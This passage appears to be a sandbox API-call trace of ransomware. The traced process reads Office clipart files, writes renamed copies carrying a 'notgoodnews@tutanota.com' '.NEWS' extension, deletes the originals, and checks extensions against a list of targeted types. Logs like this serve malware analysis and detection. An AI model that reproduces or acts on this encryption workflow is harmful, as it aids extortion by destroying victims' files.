(lpString="J0107496.WMF") returned 12 [0184.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.089] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8864) returned 1 [0184.089] CloseHandle (hObject=0x53c) returned 1 [0184.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0184.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.092] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.092] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.094] GetLastError () returned 0x0 [0184.094] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x22a0, lpOverlapped=0x0) returned 1 [0184.103] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x22b0, lpOverlapped=0x0) returned 1 [0184.104] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.104] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.105] SetEndOfFile (hFile=0x51c) returned 1 [0184.105] CloseHandle (hObject=0x51c) returned 1 [0184.105] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.105] SetEndOfFile (hFile=0x53c) returned 1 [0184.108] CloseHandle (hObject=0x53c) returned 1 [0184.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.110] lstrlenW (lpString=".doc") returned 4 [0184.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.110] lstrlenW (lpString=".docx") returned 5 [0184.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.110] lstrlenW (lpString=".pdf") returned 4 [0184.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.110] lstrlenW (lpString=".xls") returned 4 [0184.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.110] lstrlenW (lpString=".xlsx") returned 5 [0184.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.111] lstrlenW (lpString=".ppt") returned 4 [0184.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString=".zip") returned 4 [0184.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.111] lstrlenW (lpString=".rar") returned 4 [0184.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString=".bz2") returned 4 [0184.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString=".7z") returned 3 [0184.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString=".dbf") returned 4 [0184.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString=".1cd") returned 4 [0184.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString=".jpg") returned 4 [0184.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.111] lstrlenW (lpString=".doc") returned 4 [0184.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString=".docx") returned 5 [0184.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.111] lstrlenW (lpString=".pdf") returned 4 [0184.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.111] lstrlenW (lpString=".xls") returned 4 [0184.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.112] lstrlenW (lpString=".xlsx") returned 5 [0184.112] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.112] lstrlenW (lpString=".ppt") returned 4 [0184.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.112] lstrlenW (lpString=".zip") returned 4 [0184.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.112] lstrlenW (lpString=".rar") returned 4 [0184.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.112] lstrlenW (lpString=".bz2") returned 4 [0184.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.112] lstrlenW (lpString=".7z") returned 3 [0184.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.112] lstrlenW (lpString=".dbf") returned 4 [0184.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.112] lstrlenW (lpString=".1cd") returned 4 [0184.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0184.112] lstrlenW (lpString=".jpg") returned 4 [0184.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.112] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.112] lstrlenW (lpString="J0107500.WMF") returned 12 [0184.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.114] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4200) returned 1 [0184.114] CloseHandle (hObject=0x53c) returned 1 [0184.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0184.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.114] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.115] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.115] GetLastError () returned 0x0 [0184.116] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1068, lpOverlapped=0x0) returned 1 [0184.253] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1070, lpOverlapped=0x0) returned 1 [0184.254] ReadFile (in: hFile=0x53c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.254] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.254] SetEndOfFile (hFile=0x51c) returned 1 [0184.255] CloseHandle (hObject=0x51c) returned 1 [0184.255] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.255] SetEndOfFile (hFile=0x53c) returned 1 [0184.258] CloseHandle (hObject=0x53c) returned 1 [0184.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0184.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.317] lstrlenW (lpString=".doc") returned 4 [0184.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.317] lstrlenW (lpString=".docx") returned 5 [0184.317] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0184.317] lstrlenW (lpString=".pdf") returned 4 [0184.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.317] lstrlenW (lpString=".xls") returned 4 [0184.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.317] lstrlenW (lpString=".xlsx") returned 5 [0184.317] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0184.317] lstrlenW (lpString=".ppt") returned 4 [0184.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.317] lstrlenW (lpString=".zip") returned 4 [0184.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.317] lstrlenW (lpString=".rar") returned 4 [0184.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.317] lstrlenW (lpString=".bz2") returned 4 [0184.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.317] lstrlenW (lpString=".7z") returned 3 [0184.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString=".dbf") returned 4 [0184.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString=".1cd") returned 4 [0184.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString=".jpg") returned 4 [0184.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString=".doc") returned 4 [0184.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString=".docx") returned 5 [0184.318] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0184.318] lstrlenW (lpString=".pdf") returned 4 [0184.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString=".xls") returned 4 [0184.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.318] lstrlenW (lpString=".xlsx") returned 5 [0184.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0184.318] lstrlenW (lpString=".ppt") returned 4 [0184.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.318] lstrlenW (lpString=".zip") returned 4 [0184.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.319] lstrlenW (lpString=".rar") returned 4 [0184.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.319] lstrlenW (lpString=".bz2") returned 4 [0184.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.319] lstrlenW (lpString=".7z") returned 3 [0184.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.319] lstrlenW (lpString=".dbf") returned 4 [0184.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.319] lstrlenW (lpString=".1cd") returned 4 [0184.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0184.319] lstrlenW (lpString=".jpg") returned 4 [0184.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.319] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.319] lstrlenW (lpString="J0107514.WMF") returned 12 [0184.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.498] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12204) returned 1 [0184.499] CloseHandle (hObject=0x51c) returned 1 [0184.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0184.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.499] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.500] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.501] GetLastError () returned 0x0 [0184.501] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2fac, lpOverlapped=0x0) returned 1 [0184.508] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0184.510] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.510] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.510] SetEndOfFile (hFile=0x518) returned 1 [0184.511] CloseHandle (hObject=0x518) returned 1 [0184.511] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.511] SetEndOfFile (hFile=0x51c) returned 1 [0184.514] CloseHandle (hObject=0x51c) returned 1 [0184.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.517] lstrlenW (lpString=".doc") returned 4 [0184.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.517] lstrlenW (lpString=".docx") returned 5 [0184.517] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.517] lstrlenW (lpString=".pdf") returned 4 [0184.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.517] lstrlenW (lpString=".xls") returned 4 [0184.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.517] lstrlenW (lpString=".xlsx") returned 5 [0184.517] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.517] lstrlenW (lpString=".ppt") returned 4 [0184.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString=".zip") returned 4 [0184.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.518] lstrlenW (lpString=".rar") returned 4 [0184.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString=".bz2") returned 4 [0184.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString=".7z") returned 3 [0184.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString=".dbf") returned 4 [0184.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString=".1cd") returned 4 [0184.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString=".jpg") returned 4 [0184.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.518] lstrlenW (lpString=".doc") returned 4 [0184.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString=".docx") returned 5 [0184.518] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.518] lstrlenW (lpString=".pdf") returned 4 [0184.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.518] lstrlenW (lpString=".xls") returned 4 [0184.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.519] lstrlenW (lpString=".xlsx") returned 5 [0184.519] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.519] lstrlenW (lpString=".ppt") returned 4 [0184.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.519] lstrlenW (lpString=".zip") returned 4 [0184.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.519] lstrlenW (lpString=".rar") returned 4 [0184.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.519] lstrlenW (lpString=".bz2") returned 4 [0184.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.519] lstrlenW (lpString=".7z") returned 3 [0184.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.519] lstrlenW (lpString=".dbf") returned 4 [0184.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.519] lstrlenW (lpString=".1cd") returned 4 [0184.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0184.519] lstrlenW (lpString=".jpg") returned 4 [0184.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.519] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.520] lstrlenW (lpString="J0107544.WMF") returned 12 [0184.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.521] GetFileSizeEx (in: hFile=0x51c, 